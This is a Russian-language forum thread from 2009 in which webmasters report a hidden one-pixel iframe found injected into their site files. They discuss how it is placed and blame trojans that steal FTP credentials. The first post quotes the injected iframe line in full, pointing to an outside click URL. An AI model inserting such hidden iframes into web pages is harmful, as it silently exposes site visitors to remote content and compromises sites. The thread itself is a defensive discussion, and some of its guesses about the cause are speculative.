IFRAME

1. Удаленный (07.02.2009 / 20:45)
При сканировании системы обнаружил файлы, которые я не менял. Просматриваю эти файлы, а там вконце от такая строка:
echo "<iframe src=\"http://internetcountercheck.com/?click=2693687\" width=1 height=1 style=\"visibilityhidden;position:absolute\"></iframe>";

2. Удаленный (07.02.2009 / 20:46)
На этот сайт не заходит. Что это, кто мож знает?

3. Удаленный (07.02.2009 / 21:01)
И они стоят только на пару страницах и самое интересное, что они (страницы) неоч. посещаемы.

4. Удаленный (08.02.2009 / 10:26)
Тидыч, огромное спасибо за инфу.

5. Удаленный (08.02.2009 / 19:00)
Чаще всего пишется без echo, а просто в конце странице, после ?>

6. Удаленный (08.02.2009 / 19:06)
такое у меня было в .html - страницах.

7. Neformat (09.02.2009 / 00:04)
#9, это не вручную добавлялось, автоматом во всех найденных файлах в корне обычно, после определенных тегов.

8. Сергей (09.02.2009 / 00:33)
у меня такое на всех индексах было, просканировал комп и нашёл пару малверов и троянчик что походу и послужило этой фигне терез FTP на индексы прописаться.

9. Удаленный (10.02.2009 / 12:26)
10, обычно во всех index.* в самом конце

10. Neformat (10.02.2009 / 14:39)
#12. я наблюдад как во всех файлах корневой директории, независимо от названия, содержащих тег боди, аккурат перед закрывающим или после открывающего вписывался фрейм

11. Сергей (10.02.2009 / 15:51)
Вот здесь можно почитать

12. Dima (12.02.2009 / 20:51)
это вирь, сканируй комп на трояны...

13. Игорь (13.02.2009 / 10:56)
У меня было такое. Еле вылечилD Помог только Касперский

14. ктулху (13.02.2009 / 13:08)
16, эт я помню... всем визави разбирались..

15. 1 (17.02.2009 / 22:03)
спасибо у до меня дошло,удалил вернуться может?Да и возможно что виноват тотал,посколько это единст что связывало все домены там я в теме выше проблему писал)

16. Александр (17.02.2009 / 22:10)
18, наверняка это он))

17. Dima (17.02.2009 / 22:51)
19. Наверняка это вирус на компе а не тотал....

URL: https://visavi.net/topics/595